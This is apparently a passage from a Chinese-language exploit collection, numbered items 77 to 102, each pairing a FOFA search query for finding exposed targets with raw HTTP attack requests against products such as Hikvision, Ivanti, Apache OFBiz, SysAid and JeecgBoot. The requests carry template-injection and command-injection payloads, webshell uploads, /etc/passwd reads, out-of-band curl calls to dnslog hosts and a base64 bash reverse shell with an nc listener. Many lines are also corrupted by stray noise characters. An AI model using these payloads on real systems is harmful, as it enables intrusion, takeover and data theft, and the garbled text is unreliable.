Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 G! T8 J- x( B  Z' k% m' ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
  \  B7 o' ]9 e9 X" ^. wUpgrade-Insecure-Requests: 1
0 X- `/ {  |. c8 D
5 M* z, ^6 L/ G4 T, F{
! N6 o6 `$ B1 E6 B) L7 B/ ~( D' u"command": "GetFZinfo",
2 A9 u9 f) R6 Z5 M& L  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
2 o( T4 W6 v: |9 n- O! _: g  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
3 p- z; x, V* }" f' S8 z0 h/ v! [}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

% @6 y* e7 f( s

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
: b7 @2 D8 c- X$ IPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
' l5 l$ V1 c0 \6 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
! Q4 }; p" t. h: n* X; e! MContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
- i( c2 z% h, f9 I& V6 VAccept-Language: zh-CN,zh;q=0.9
& D$ Z+ m: x  GContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
" @& U* Q( {' [4 Y1 H# b% W
$ D( V( O0 q# ]- |. C------------398jnjVTTlDVXHlE7yYnfwBoix
. A& B9 M2 h* v3 V& Y% j7 D4 J3 F  L' @4 aContent-Disposition: form-data; name="folder"

3 P" F) {, \# ~& R' p/upload/udplog
! o" r* d: V7 J/ }- Z------------398jnjVTTlDVXHlE7yYnfwBoix
! [' r; u0 f& O5 g1 Z& hContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
- M- R- i% F1 F0 A0 F& c
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
% Z2 {- i/ d& W, eContent-Disposition: form-data; name="Upload"

Submit Query
" _' k6 U- }+ o4 S4 J------------398jnjVTTlDVXHlE7yYnfwBoix--
7 P! Y$ d. J' k( r/ |" j

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
" g6 e8 u, l: [, g* RPOST /Platform/System/FileUpload.ashx HTTP/1.1
; ^0 A/ J3 I" P: {Host: x.x.x.x
% l- b$ u% d5 s' Q# uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
3 e: O3 C3 A  q# h
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
) D0 ^$ L+ n9 l1 j) {. c
YsOxWxSvj1KyZow1PTsh98fdu6l
$ P( c6 s9 T1 d) ~$ k$ Q------YsOxWxSvj1KyZow1PTsh98fdu6l
+ w$ J+ p- `1 S: B( \Content-Disposition: form-data; name="target"

3 s9 w, s# E4 Q. `3 w2 W3 c/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

0 @7 y. W, M0 G. L7 h
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
/ X$ k1 B+ S3 L1 j( L

! J8 Z4 Y8 p  L/ r3 E8 J( L79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
/ K5 p! j) O7 U& O' v( xHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& O5 r3 [: e  o+ |1 E; ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 d2 Q$ Y- L$ Q. o. a6 e. AAccept-Encoding: gzip, deflate
; O$ Z4 s# L1 `/ U: _* AConnection: close
( _. I8 ?; x. @0 P$ ZUpgrade-Insecure-Requests: 1


4 L( |' _; i" p+ \+ _80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
. ^/ w) D9 m, `+ YHost: x.x.x.x
- B+ ]) g) x" W  M& lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
& ]' x0 Q! Z! zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
2 ~! v1 \% k& qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: _6 Z6 i& g1 p0 uContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

4 ^: S# y( B3 k8 K3 ]% e1 k9 T9 v
' q8 m# g- e3 M0 zGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
/ X  G  U! r" nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
. s$ \; P/ ?. N, J
: t6 ?' A8 P" Z  ?) w  h$ Z
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
$ T/ F$ D& h% ?6 w5 V! Q( b9 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ h$ T- I0 t: h( SConnection: close
Accept-Encoding: gzip
4 C% D* g7 x9 ?$ p
9 l9 x. p! O% T% S% B
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
4 l0 n" ?( M1 K  z- PPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
+ }" M, [6 u0 a6 m: {Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

: R$ U' ^. d- L# w1 E9 Xz1=1&z2="|id;"&z3=bhost


6 W, E3 o+ X* K* A2 \. X83. JeecgBoot testConnection 远程命令执行
( Y% T, m. K* J5 [FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
3 n9 y8 Z+ l6 l3 N, a! E; z/ }Accept-Encoding: gzip
# Y5 \$ H( K$ I  S4 E. p" h: _! Z  NCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
, e$ h4 e' ~" n! wContent-Type: application/json
1 h, T4 ?# X0 K& Q5 O4 x& E
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
3 E7 Y( w4 i' D$ @2 t; U* J' NFOFA：title=="JeecgBoot 企业级低代码平台"
  X8 J9 L, s4 ]" U, K) z% K

6 v6 f  w1 l3 [0 c7 y
9 l1 _. }/ O) W% `( `" _, q! e5 OPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
" D* r% ^! h, qHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
2 z8 p! T6 K8 S- \) g& H$ s2 ^Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
6 Q4 D& g( D" B% @Accept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
# O! ~: o) g/ K: Z

85. SysAid On-premise< 23.3.36远程代码执行
, L+ o  t1 m$ }. j4 m& v. @. ECVE-2023-47246
: g9 W' \. s! uFOFA：body="sysaid-logo-dark-green.png"
8 f) ~' A  x. x0 LEXP数据包如下，注入哥斯拉马
3 L/ p9 e% t$ a8 R: Z, D7 fPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
" \. C. [5 u9 R& j1 m( X, sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 o& `) k1 |) W/ w2 kContent-Type: application/octet-stream
Accept-Encoding: gzip

% u6 [% {( l4 t4 k5 q9 f; }' ^PAYLOAD
2 i0 |* f9 ^7 R- |) O0 c
$ l& l( p3 e' I回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
6 y+ G9 H, U" _Connection: close
Content-Length: 44
Accept: */*
; ]5 h& g; O0 A( v% v* f9 }, z' bAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
8 P# J( x' F+ L2 ~! k0 z! C
* T1 n% a$ T. q
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
$ o3 ]: A5 F9 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- x  u( o2 G) D% ]( BConnection: close
, H/ b6 D, h4 W0 @Content-Length: 198
Accept-Encoding: gzip
( J2 |0 d5 [, ~. OContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
* n# _; `$ }- Y& eContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
& R3 B8 q0 J: g% T0 b( KContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
, W$ ]0 k5 o9 _/ E: ?$ B--qqobiandqgawlxodfiisporjwravxtvd--
2 _8 ]! P1 p) Z5 h
% J! M) R: E3 d2 B
/jfhatuwe.php
2 a. a& Y+ Z7 C+ j
2 f) i6 d6 T1 u' z88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
) {, T. y4 T" O  GGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
8 \7 y- C0 R5 x2 W0 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 ?' e0 K2 f4 ?& r* m" gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: I9 N& u; d- Q: d9 m* g2 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. r! X$ m$ a* N  |Connection: close
8 c" i! |* _$ O8 R& D: @2 X9 j

/astdfkhl.php
% f3 r5 D# B( @& L2 q5 A3 H4 ~
; F/ A! C, E6 j5 |% M89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
' x7 `+ F( B3 d4 k. v$ \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

, x9 U' D6 l) i
9 y& d5 S; w( v; u! I& p) l90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
1 y1 Q5 h, a& N4 E+ f; k' o4 cFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
- J# k% e: F$ c  OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
/ M+ t& }* B: B/ q4 f5 aAccept-Encoding: gzip, deflate
/ P; K) K+ [, @3 @9 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 t/ M: j. `5 [$ I7 m* gConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
: L, l, L  G* q3 `) u
$ f' ?: Q8 q! y7 |- o' \/ vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

. g! V+ K* B) O0 }8 f
) V9 L5 C2 `. Y% L" S91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
( |+ ?3 p, L) r+ B: U7 mHost: your-ip
! X) h2 z, J- m" V% D1 a3 v& h- ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. }6 v& b9 b2 O$ K7 p: b( K# OConnection: keep-alive
" _+ `- r6 a5 z7 V0 J5 D- O
4 {6 c5 M( T$ ^5 A( [
3 ?( z  h9 B$ x; d# B+ @0 B
# N6 A  H: v( B) M1 E* H! q* q92. 海康威视运行管理中心session命令执行
+ @" y" A" u7 s3 c* R8 eFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
4 V$ k+ M( z7 |8 l& d$ xHost:
9 K) y) u" Y; ~# u# vAccept: application/json, text/plain, */*
1 x, Z6 m! F; R6 R+ eAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
% v( c6 I* \* R2 Y. M/ b+ m2 a5 wTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
" v8 o. o+ H1 L8 F6 eAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

+ B- E; ]  q' {" `PAYLOAD

) T7 g' h6 ~5 C8 P4 H6 W9 G
8 c/ m* E" Y" b7 W& H93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 |3 |: k2 O9 c2 o  D) C4 C! bFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
9 ^& {4 }2 t  t. Y( S1 D& R) T' rPOST /?g=app_av_import_save HTTP/1.1
3 |* w/ |) \+ x* _Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 z: f) p$ \; d. T
, E' t* |' s$ S( z) W% ?------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
- m6 o- j+ B, r1 ?0 NContent-Type: text/plain

% i( ^& f3 _& M; @wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
' w, Q* ]. A. U- _Content-Disposition: form-data; name="submit_post"
6 ?* T- p9 ^/ r6 s" f7 e0 `
  l$ l$ c4 n2 s: B2 `obj_app_upfile
# \% @% \: {. b5 Q$ I- z/ B------WebKitFormBoundarykcbkgdfx
2 b# ]  R- S7 X" }Content-Disposition: form-data; name="__hash__"
# u9 ?1 k5 l# I6 Y4 _; f
, E- |% X/ W- M; r% X5 z0b9d6b1ab7479ab69d9f71b05e0e9445
% e3 j8 c! j/ k0 ~------WebKitFormBoundarykcbkgdfx--


$ w3 n5 P; P7 t( B1 BGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
/ I! _/ Z8 [$ y, ]FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
2 d# A+ S& j+ s( W; Y' Q( iPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
3 q8 J3 @8 Y( t7 k" T4 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
! c7 U. s9 r* {' fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
- ?! R4 l. ]1 U$ LContent-Disposition: form-data; name="MAX_FILE_SIZE"
8 U# u( x+ ^/ K9 {% e
  f0 x" n: r( v8 |' R8 L10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
- s- C( J1 w4 J1 R: O6 ^# iContent-Type: text/plain

7 C  S. |$ R! Z9 J  W* s8 f9 w- R! rpxplitttsrjnyoafavcajwkvhxindhmu
6 M9 l4 {# |7 c2 Z4 w1 I2 x# Y------WebKitFormBoundarybqvzqvmt
8 U; R+ |6 {) E$ M' i6 [/ AContent-Disposition: form-data; name="submit_post"
# Z" r  N9 R! }  k5 f" e5 f
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
1 h7 N. q; t: jContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
1 c( S) J& z0 X# r8 W) C$ @; T: j
9 @6 z5 N8 e& p" E

6 @$ G' {1 W" W  O/ R- aGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

1 e2 ^4 w- I3 p8 g' Y8 j+ U% j

8 B( x" r8 Q. K8 x* c% m4 }95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" K, p# M" X" B9 ^! B! _, p6 hCVE-2023-49070
) [) e! o% W3 p3 d$ P% w3 SFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
: E0 E/ R: x7 ]) Y: kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
# y4 V! k. u' O6 `+ \8 q. cContent-Length: 889
4 s/ q( B; u' j  X4 h$ O. KContent-Type: application/xml
' J7 \+ ?; h. \+ N% S# |Accept-Encoding: gzip

: }3 I$ H/ _) g% N2 F8 k<?xml version="1.0"?>
! N' D% m1 i1 }' t  H<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
8 J& Z: S8 h! S/ Z/ H    <params>
      <param>
      <value>
! G( ?' a% _2 s; Y6 x- a        <struct>
       <member>
          <name>test</name>
7 O- m# Z* D" d2 S$ j& t+ h" P          <value>
* d" `3 l- s& m8 h( h7 C      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
6 Y1 V; B( Z  R5 x8 @% `          </value>
: m/ V# K7 v2 b& j        </member>
" W0 P" h+ x7 m" ~) W      </struct>
; w$ D, H& A  a. ?) u/ Z2 z      </value>
& u. S4 }& h; w7 M/ e% i9 j6 s    </param>
, A' b6 [7 I. x    </params>
& z3 F/ E2 |+ N/ x, f( V% x1 H</methodCall>
" b7 ?) m! k; Q

3 ]0 S5 H: a  B% t& J0 b' m用ysoserial生成payload
6 c( `$ `- p$ ^/ y% w/ u" mjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
7 m* q0 Y  V/ X- M$ M& C6 z

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
' F' g0 e* w3 Y9 FContent-Length: 889
* Q( n# o& [( bContent-Type: application/xml
) Q6 [% ?6 o( n# q: b1 l; [, Q. z6 \" _' sAccept-Encoding: gzip
# O+ Y; v. m& s2 _. E4 |( m+ \. C
8 v/ K0 ^+ v; @& r' MPAYLOAD
+ o* g' e/ x' n* \' I
3 k! X8 Q$ N1 e, s! V# c% S0 Y96. Apache OFBiz  18.12.11 groovy 远程代码执行
- D- c. J! C6 D# B) O$ p/ |FOFA：app="Apache_OFBiz"
. u: S2 S! s, S7 _POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 U1 n" ]0 a0 H! c$ }; UContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


) q4 C) }" G9 Z( T0 S反弹shell
* r3 P" ?2 `5 X; H0 G6 Q- D* }0 a在kali上启动一个监听
9 {+ p* H) j: R$ h" @. B' V) H% Wnc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
  U# ~% l" U2 M( ^& FHost: 192.168.40.130:8443
+ R: Y" B, Y9 M$ _# vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 M( @3 o4 n$ t7 r& w0 W* J- qContent-Type: application/x-www-form-urlencoded
Content-Length: 71

9 L) d/ h+ o( Q+ I, Q2 J3 VgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
; U6 U' C8 a# @+ s0 l+ z7 r$ fGET /passport/login/ HTTP/1.1
! E3 ^/ B5 a0 e" tHost: 192.168.40.130:8085
1 N% D+ T' {" Q; vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) ^$ K$ r" U1 Q+ @3 D9 \& k1 YAccept-Encoding: gzip
Connection: close
- _! O9 D0 L$ d' c' e( E) u' nCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
- t. X+ P) _! F  nFOFA：app="SpiderFlow"
9 e' y$ J7 f3 V* VPOST /function/save HTTP/1.1
, B7 a) d# N- F. eHost: 192.168.40.130:8088
( C' G; W/ e3 Q7 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
5 u$ R' M9 K$ n; N3 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- v2 D+ ?/ s# U8 V3 d$ UX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
6 ], g  T: Q9 Y1 i3 |+ nCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
* a; z9 g! Z- N3 z; F7 F  p/ X5 |POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
4 J& k' F' B/ |& OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, \- e/ g1 M1 _( h) `" t- NConnection: close
+ g2 `, P- ~' I1 n- {0 UContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) O  r1 z2 {! m+ T( cX-Requested-With: XMLHttpRequest
6 y  m4 K$ ?4 |0 Y3 E
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
! G6 K1 T; r3 T  R3 O9 cCVE-2024-0352
FOFA：icon_hash="874152924"
/ z$ G( h" b- A0 U* m% l; p% \POST /api/file/formimage HTTP/1.1
. r/ H* m" X7 c9 f/ X5 Q7 A) s0 m' pHost: 192.168.40.130
( b! k1 q5 l+ F$ OUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
$ r1 ]% [$ S/ b( A% J8 L! w6 VConnection: close
4 g5 F) B6 X$ {% i0 W% Q. s! EContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
5 T% t- i( {# K$ P4 S& |, ~) XAccept-Encoding: gzip
3 y2 [* z4 e% c8 ~" m8 f
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
; ~+ X  N- L- k6 R0 l, m9 v------WebKitFormBoundarygcflwtei--

' I7 V. ]( D* F$ f* |- G
8 g7 P4 I( z6 q# q6 @+ c101. ivanti policy secure-22.6命令注入
; g% z$ X% v$ h' aCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
5 G! m  h9 G0 ^4 \GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
3 x9 f4 Q, _  L1 N, Z! v8 R& gHost: x.x.x.xx.x.x.x
5 g6 @4 M% k' @4 Z$ r7 MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& G3 a3 S' k& J: h8 q6 PAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
+ Y1 M' k* p' r+ W$ uFOFA：body="welcome.cgi?p=logo"
( w; y; J: ^8 z! O/ JPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
, Z$ l0 q2 m/ d3 r0 N( }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
0 D/ H5 g+ P: F7 s* }9 Q! j- s3 j" k7 D7 L) G
